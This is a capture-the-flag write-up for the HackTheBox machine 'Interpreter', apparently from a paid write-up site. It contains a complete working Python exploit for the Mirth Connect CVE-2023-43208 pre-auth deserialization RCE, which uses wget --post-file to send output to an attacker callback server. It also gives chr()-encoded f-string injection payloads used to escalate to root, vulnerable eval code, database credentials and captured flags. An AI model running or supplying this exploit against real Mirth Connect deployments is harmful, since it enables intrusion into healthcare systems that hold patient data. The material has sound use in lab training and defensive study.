pentestfreemedium

Interpreter (Mirth Connect → f-string Injection)

hackthebox

Task: HackTheBox machine with Mirth Connect 4.4.0 healthcare integration engine. Solution: CVE-2023-43208 XStream deserialization for initial RCE as mirth user, then privilege escalation via Python f-string double eval injection in internal Flask service running as root, using chr() encoding to bypass regex filter.

$ ls tags/ techniques/
xstream_deserialization_rcefstring_double_evalchr_bypass_regexbase64_command_exfiltrationwget_post_file_exfilinternal_service_abusexml_injection_to_eval

Interpreter (Mirth Connect → f-string Injection) — HackTheBox

Description

Full machine on HackTheBox. Mirth Connect 4.4.0 (healthcare integration engine) with CVE-2023-43208 vulnerability for initial access, then privilege escalation via Python f-string injection in an internal Flask service running as root.

  • Target: 10.129.7.17
  • OS: Debian 12, kernel 6.1.0-43-amd64
  • Stack: Jetty (Mirth Connect 4.4.0), Flask/Werkzeug 2.2.2, MariaDB 10.5
  • Users: root, sedric (uid=1000), mirth (uid=103)

Flags

#TypeFlagMethod
1Userb63665586c7eca1656d9f9b6b821e48af-string injection → open('/home/sedric/user.txt').read()
2Root9acc749ecf629eb2fa239153b8e2cacdf-string injection → open('/root/root.txt').read()

Reconnaissance

Nmap Scan

nmap -sV -sC -T4 -p- --min-rate=1000 10.129.7.17

Open ports:

  • 22 — SSH (OpenSSH 9.2p1 Debian)
  • 53 — DNS
  • 80/443 — HTTP/HTTPS (Jetty — Mirth Connect Administrator 4.4.0)
  • 6661 — Mirth TCP/HL7 Listener (MLLP protocol)

Internal services (discovered after initial access):

  • 127.0.0.1:54321 — Flask/Werkzeug 2.2.2 (notif.py, runs as root)
  • 127.0.0.1:3306 — MariaDB (credentials: mirthdb:MirthPass123!)

Identification

  • HTTP title: "Mirth Connect Administrator"
  • SSL cert CN: mirth-connect
  • Mirth Connect — open-source healthcare integration engine for routing HL7 messages
  • Version 4.4.0 is vulnerable to CVE-2023-43208 (pre-auth RCE)

Step 1: Initial Access — CVE-2023-43208 (XStream Deserialization RCE)

Mirth Connect 4.4.0 has a critical vulnerability CVE-2023-43208 — unauthenticated RCE via XStream deserialization in /api/users POST endpoint.

Vulnerability

  • Endpoint /api/users accepts XML without authentication
  • XStream parser deserializes arbitrary Java objects
  • Gadget chain: ChainedTransformer + InvokerTransformer + EventUtils$EventBindingInvocationHandler
  • Result: Runtime.getRuntime().exec(command) as user mirth

Exploit (rce.py)

#!/usr/bin/env python3 """CVE-2023-43208 RCE helper - executes commands and exfiltrates output""" import requests import urllib3 import sys import time import threading import base64 as b64 from http.server import HTTPServer, BaseHTTPRequestHandler urllib3.disable_warnings() TARGET = "https://10.129.7.17" LHOST = "10.10.16.247" LPORT = 8888 result_data = None result_event = threading.Event() class CallbackHandler(BaseHTTPRequestHandler): def do_POST(self): global result_data cl = int(self.headers.get("Content-Length", 0)) result_data = self.rfile.read(cl).decode("utf-8", errors="replace") self.send_response(200) self.end_headers() self.wfile.write(b"OK") result_event.set() def log_message(self, format, *args): pass def send_exploit(cmd): """Send command via CVE-2023-43208 XStream deserialization""" cmd_xml = cmd.replace("&", "&amp;").replace("<", "&lt;").replace(">", "&gt;") xml = ( '<sorted-set><string>abcd</string><dynamic-proxy>' '<interface>java.lang.Comparable</interface>' '<handler class="org.apache.commons.lang3.event.EventUtils$EventBindingInvocationHandler">' '<target class="org.apache.commons.collections4.functors.ChainedTransformer">' '<iTransformers>' '<org.apache.commons.collections4.functors.ConstantTransformer>' '<iConstant class="java-class">java.lang.Runtime</iConstant>' '</org.apache.commons.collections4.functors.ConstantTransformer>' '<org.apache.commons.collections4.functors.InvokerTransformer>' '<iMethodName>getMethod</iMethodName>' '<iParamTypes><java-class>java.lang.String</java-class>' '<java-class>[Ljava.lang.Class;</java-class></iParamTypes>' '<iArgs><string>getRuntime</string><java-class-array/></iArgs>' '</org.apache.commons.collections4.functors.InvokerTransformer>' '<org.apache.commons.collections4.functors.InvokerTransformer>' '<iMethodName>invoke</iMethodName>' '<iParamTypes><java-class>java.lang.Object</java-class>' '<java-class>[Ljava.lang.Object;</java-class></iParamTypes>' '<iArgs><null/><object-array/></iArgs>' '</org.apache.commons.collections4.functors.InvokerTransformer>' '<org.apache.commons.collections4.functors.InvokerTransformer>' '<iMethodName>exec</iMethodName>' '<iParamTypes><java-class>java.lang.String</java-class></iParamTypes>' f'<iArgs><string>{cmd_xml}</string></iArgs>' '</org.apache.commons.collections4.functors.InvokerTransformer>' '</iTransformers></target>' '<methodName>transform</methodName>' '<eventTypes><string>compareTo</string></eventTypes>' '</handler></dynamic-proxy></sorted-set>' ) headers = {"Content-Type": "application/xml", "X-Requested-With": "OpenAPI"} try: requests.post(TARGET + "/api/users", headers=headers, data=xml, timeout=15, verify=False) except: pass def exec_cmd(shell_cmd, timeout=10): """Execute a shell command and return output via wget callback""" global result_data, result_event result_data = None result_event.clear() server = HTTPServer(("0.0.0.0", LPORT), CallbackHandler) server_thread = threading.Thread(target=server.handle_request) server_thread.daemon = True server_thread.start() time.sleep(0.5) # Base64-encode the script to avoid quoting issues script = ( f"#!/bin/sh\n" f"{shell_cmd} > /tmp/.rce_out 2>&1\n" f"wget --post-file=/tmp/.rce_out http://{LHOST}:{LPORT}/out " f"-O /dev/null 2>/dev/null\n" f"rm -f /tmp/.rce_out /tmp/.rce_script\n" ) encoded = b64.b64encode(script.encode()).decode() decode_cmd = f"sh -c $@|sh . echo echo {encoded}|base64 -d|sh" send_exploit(decode_cmd) result_event.wait(timeout=timeout) server.server_close() return result_data

Key Exploit Features

  1. No curl on target — using wget --post-file for command output exfiltration
  2. Base64 encoding — shell script is base64-encoded to avoid escaping issues in XML
  3. Callback server — HTTP server on attacker machine receives POST with execution result
  4. Command format: sh -c $@|sh . echo echo <b64>|base64 -d|sh — trick for executing arbitrary shell code via Runtime.exec()

Result

$ python3 rce.py id
[*] Executing: id
[+] Output:
uid=103(mirth) gid=107(mirth) groups=107(mirth)

Step 2: Enumeration as mirth

Internal Service Discovery

# Discovered Flask service on 127.0.0.1:54321 ss -tlnp # → 127.0.0.1:54321 (python3 /usr/local/bin/notif.py) # File owned by root:sedric, mirth cannot read ls -la /usr/local/bin/notif.py # → -rwxr----- root sedric # Discovered Mirth channel "INTERPRETER - HL7 TO XML TO NOTIFY" # Chain: HL7v2 (port 6661) → XML → POST http://127.0.0.1:54321/addPatient

MariaDB Credentials Discovery

# In mirth.properties grep -i password /opt/mirth-connect/conf/mirth.properties # → database.password = MirthPass123! # → database.username = mirthdb

Mirth Channel Logic

The "INTERPRETER" channel performs:

  1. Receives HL7v2 messages on port 6661 (MLLP protocol)
  2. Transforms HL7 → XML with fields: timestamp, sender_app, id, firstname, lastname, birth_date, gender
  3. POSTs XML to http://127.0.0.1:54321/addPatient

Step 3: Privilege Escalation — Python f-string Double Eval Injection

Vulnerability Discovery

Since notif.py is unreadable by mirth, we investigate /addPatient behavior by sending XML directly:

# From target (via RCE as mirth): import urllib.request xml = '<patient><firstname>John</firstname><lastname>Doe</lastname>' \ '<birth_date>1990</birth_date><gender>M</gender>' \ '<sender_app>test</sender_app><timestamp>2024</timestamp>' \ '<id>1</id></patient>' req = urllib.request.Request('http://127.0.0.1:54321/addPatient', data=xml.encode(), method='POST') req.add_header('Content-Type', 'application/xml') resp = urllib.request.urlopen(req) print(resp.read().decode())

Response: Patient John Doe (M), 36 years old, received from test at 2024

Observations:

  • Age is calculated: 2026 - 1990 = 36 → arithmetic in template
  • Machine name "Interpreter" → hint at eval/exec/code interpretation

Testing f-string Injection

firstname: {7*7}           → [INVALID_INPUT] (regex blocks *)
firstname: {__import__(chr(111)+chr(115)).popen(chr(105)+chr(100)).read()}
                           → uid=0(root) gid=0(root) groups=0(root)

RCE as root confirmed!

Vulnerable Code (notif.py)

#!/usr/bin/env python3 from flask import Flask, request, abort import re, uuid, os from datetime import datetime import xml.etree.ElementTree as ET app = Flask(__name__) def template(first, last, sender, ts, dob, gender): pattern = re.compile(r"^[a-zA-Z0-9._'\"(){}=+/]+$") for s in [first, last, sender, ts, dob, gender]: if not pattern.fullmatch(s): return "[INVALID_INPUT]" try: year_of_birth = int(dob.split('/')[-1]) if year_of_birth < 1900 or year_of_birth > datetime.now().year: return "[INVALID_DOB]" except: return "[INVALID_DOB]" # ← VULNERABILITY: double f-string evaluation template = f"Patient {first} {last} ({gender}), " \ f"{{datetime.now().year - year_of_birth}} years old, " \ f"received from {sender} at {ts}" try: return eval(f"f'''{template}'''") # ← user input eval'd as f-string! except Exception as e: return f"[EVAL_ERROR] {e}" @app.route("/addPatient", methods=["POST"]) def receive(): if request.remote_addr != "127.0.0.1": abort(403) # ... parses XML, extracts fields, calls template()

Vulnerability Mechanism

Double f-string evaluation:

  1. First f-string (lines 15-17): substitutes user input into template

    template = f"Patient {first} ..." # first = "{__import__('os').popen('id').read()}" # → template = "Patient {__import__('os').popen('id').read()} ..."
  2. Second eval (line 19): interprets the result as another f-string

    eval(f"f'''{template}'''") # → eval("f'''Patient {__import__('os').popen('id').read()} ...'''") # → "Patient uid=0(root)... ..."
  3. Expressions in {} from user input pass through the first f-string as literal text (because Python doesn't know they are f-string expressions — they're just strings), but are executed by the second eval().

Regex Filter Bypass

Regex: ^[a-zA-Z0-9._'"(){}=+/]+$

  • Allowed: a-z A-Z 0-9 . _ ' " ( ) { } = + /
  • Blocked: spaces, -, ,, ;, [, ], \, |, &, <, >, !, @, #, $, %, ^, *, ~, `

Solution: use chr() to encode blocked characters:

# Instead of: __import__('os').popen('id').read() # Write: __import__(chr(111)+chr(115)).popen(chr(105)+chr(100)).read() # Instead of: open('/home/sedric/user.txt').read() # Write: open(chr(47)+chr(104)+chr(111)+chr(109)+chr(101)+chr(47)+...).read()

Key insight: regex allows (){}+ — this is enough for function calls, string concatenation via chr(), and f-string injection.

Step 4: Flag Extraction

User Flag

Payload in <firstname>:

{open(chr(47)+chr(104)+chr(111)+chr(109)+chr(101)+chr(47)+chr(115)+chr(101)+chr(100)+chr(114)+chr(105)+chr(99)+chr(47)+chr(117)+chr(115)+chr(101)+chr(114)+chr(46)+chr(116)+chr(120)+chr(116)).read()}

Decodes to: open('/home/sedric/user.txt').read()

b63665586c7eca1656d9f9b6b821e48a

Root Flag

Payload in <firstname>:

{open(chr(47)+chr(114)+chr(111)+chr(111)+chr(116)+chr(47)+chr(114)+chr(111)+chr(111)+chr(116)+chr(46)+chr(116)+chr(120)+chr(116)).read()}

Decodes to: open('/root/root.txt').read()

9acc749ecf629eb2fa239153b8e2cacd

Full Attack Chain

Nmap Scan → Mirth Connect 4.4.0 on ports 80/443, HL7 listener on 6661
  ↓
CVE-2023-43208: XStream deserialization in /api/users → RCE as mirth (uid=103)
  ↓
Enumeration: Flask notif.py on 127.0.0.1:54321 (runs as root)
  ↓
Mirth channel: HL7 → XML → POST /addPatient
  ↓
Probing /addPatient: age calculation hints at eval(), machine name "Interpreter"
  ↓
f-string injection in <firstname>: {expression} evaluated by eval(f"f'''...'''")
  ↓
chr() encoding to bypass regex filter (no spaces/special chars allowed)
  ↓
{open(chr(47)+...+chr(116)).read()} → read /home/sedric/user.txt (User Flag)
  ↓
{open(chr(47)+...+chr(116)).read()} → read /root/root.txt (Root Flag)

Key Vulnerabilities

#VulnerabilityCVEImpact
1XStream Deserialization RCECVE-2023-43208Pre-auth RCE as mirth
2Python f-string double evalRCE as root via internal service
3Regex allows {}() with evalRegex bypass via chr() encoding
4Internal service trusts local inputPrivilege escalation path

Key Indicators

Use this technique when:

  • Mirth Connect ≤ 4.4.0 — check for CVE-2023-43208 (pre-auth XStream deserialization RCE)
  • "Mirth Connect Administrator" in HTTP title + Jetty server
  • Port 6661 — typical port for HL7/MLLP listener in Mirth
  • eval(f"f'''...") or double f-string substitution — any {expr} in user input will be executed
  • Regex allows {} — if regex filters input but allows curly braces, f-string/template injection is possible
  • chr() for regex bypass — if () and + are allowed, any string can be built via chr(N)+chr(M)+...
  • Internal service running as root — Flask/other service on localhost, accessible after initial access, may be a privesc vector
  • Machine name "Interpreter" — direct hint at eval/exec/code interpretation

Lessons

  1. Double f-string evaluation is a critical vulnerability. eval(f"f'''{user_input}'''") allows arbitrary Python code execution, even if input was previously substituted into another f-string
  2. Regex filtering is useless if {}() are allowed. These characters are all that's needed for f-string injection + function calls. chr() + + allow building any string
  3. CVE-2023-43208 is pre-auth RCE in Mirth Connect. Healthcare systems often use Mirth Connect; versions ≤ 4.4.0 are critically vulnerable
  4. Internal services = hidden attack surface. A service on localhost:54321, invisible from outside, turned out to be the main privesc vector
  5. No curl? Use wget. wget --post-file is an excellent alternative for data exfiltration
  6. Machine name is always a hint. "Interpreter" → Python interpreter → eval()

$ cat /etc/motd

Liked this one?

Pro unlocks every writeup, every flag, and API access. $9/mo.

$ cat pricing.md

$ grep --similar

Similar writeups